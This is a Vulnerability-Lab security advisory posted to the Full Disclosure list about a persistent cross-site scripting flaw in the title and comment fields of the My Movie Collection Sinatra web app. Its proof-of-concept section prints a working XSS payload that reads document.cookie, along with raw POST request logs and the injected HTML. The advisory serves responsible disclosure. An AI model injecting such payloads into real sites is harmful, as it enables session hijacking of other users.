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Date: Mon, 1 Nov 2021 12:30:03 +0100 From: "info@...nerability-lab.com" <info@...nerability-lab.com> To: fulldisclosure@...lists.org Subject: [FD] My Movie Collection Sinatra App - (Movie) XSS Vulnerability Document Title: =============== My Movie Collection Sinatra App - (Movie) XSS Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2294 Release Date: ============= 2021-11-01 Vulnerability Laboratory ID (VL-ID): ==================================== 2294 Common Vulnerability Scoring System: ==================================== 5.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Welcome to My Movie Collection Sinatra web app where you can create, read, update, and delete movies that you own. Here you can build and keep track of your DVD/Blu-Ray collection. You can also add movie comments and date purchased. The code is available as open source under the terms of the MIT License. (Copy of the Homepage:https://github.com/jffernan/my-movie-collection ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the My Movie Collection Sinatra web-application. Affected Product(s): ==================== James Fernandez Product: My Movie Collection Sinatra app (v2017 & v2018)- Video Application (Web-Application) (Ruby) Vulnerability Disclosure Timeline: ================================== 2021-09-01: Researcher Notification & Coordination (Security Researcher) 2021-09-02: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2021-11-01: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent cross site web vulnerability has been discovered in the official My Movie Collection Sinatra v2018 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent cross site scripting web vulnerability is located in the `title` and `comment` parameters of the `movies/new` module. Authenticated remote attackers with user privileges are able to process manipulated post method requests for movie creates to inject own malicious script code with persistent attack vector. The request method to inject is post and the attack vector is located on the application-side. The execute of the payload occurs as well on preview of all videos by all users. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] movies/new Vulnerable Input(s): [+] Create New Movie Below: [+] Description (Comment) Vulnerable Parameter(s): [+] title [+] comment Affected Module(s): [+] movies Proof of Concept (PoC): ======================= The persistent cross site scripting web vulnerability can be exploited by remote attackers with user account and with low user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. PoC: Exploitation "><img src="evil.source" onload="alert(document.cookie)" < --- PoC Session Logs (POST) --- https://sinatra-my-movie-collection.localhost:8000/movies Host: sinatra-my-movie-collection.localhost:8000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------210716863231834847754001617875 Content-Length: 580 Origin:https://sinatra-my-movie-collection.localhost:8000 Connection: keep-alive Referer:https://sinatra-my-movie-collection.localhost:8000/movies/new Cookie: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0O DljYWY2NTVmNGZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFBYld4dnVKVVpxS1Bzd2hsNzVqZmNPZHg5MURR%0ATzBvRnEw dnJOZklSaVVFPQY7AEZJIg10cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMD AwNmQ5%0AMTk1ODk5ZTVhNGYwBjsARkkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzO WI1NWM1ZTAwOGNiYjUGOwBG%0ASSIMdXNlcl9pZAY7AEZpGw%3D%3D%0A--cbce7ee175a442b3be02b5a755e1b5809c788194 Post: title=test1"><img src="evil.source" onload="alert(document.cookie)" <&comment=test2"><img src="evil.source" onload="alert(document.cookie)" <&date_purchased=&image= - POST: HTTP/1.1 303 See Other Connection: keep-alive Content-Type: text/html;charset=utf-8 Location:https://sinatra-my-movie-collection.localhost:8000/movies/14 Content-Length: 0 Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21) - https://sinatra-my-movie-collection.localhost:8000/movies/14 Host: sinatra-my-movie-collection.localhost:8000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer:https://sinatra-my-movie-collection.localhost:8000/movies/new Connection: keep-alive Cookie: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODlj YWY2NTVmNGZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFBYld4dnVKVVpxS1Bzd2hsNzVqZmNPZHg5MURR%0ATzBvRnEwdnJOZk lSaVVFPQY7AEZJIg10cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMDAwNmQ5%0A MTk1ODk5ZTVhNGYwBjsARkkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzOWI1NWM1ZTAwO GNiYjUGOwBG%0ASSIMdXNlcl9pZAY7AEZpGw%3D%3D%0A--cbce7ee175a442b3be02b5a755e1b5809c788194 - POST: HTTP/1.1 200 OK Connection: keep-alive Content-Type: text/html;charset=utf-8 Content-Length: 30 Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21) Vulnerable Source: movies/all <div class="container"> <h1>My Movie Collection</h1> <h3>Here are all movies posted by users (Click on a 'link'):</h3> <ul> <li> <a href="/movies/14">a"><img src="evil.source" onload="alert(document.cookie)"> </a> owned by demo </li> <li> <a href="/movies/7">Avengers </a> owned by rwilson </li> Reference(s): https://sinatra-my-movie-collection.localhost:8000/movies/[ID] https://sinatra-my-movie-collection.localhost:8000/movies/new Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. 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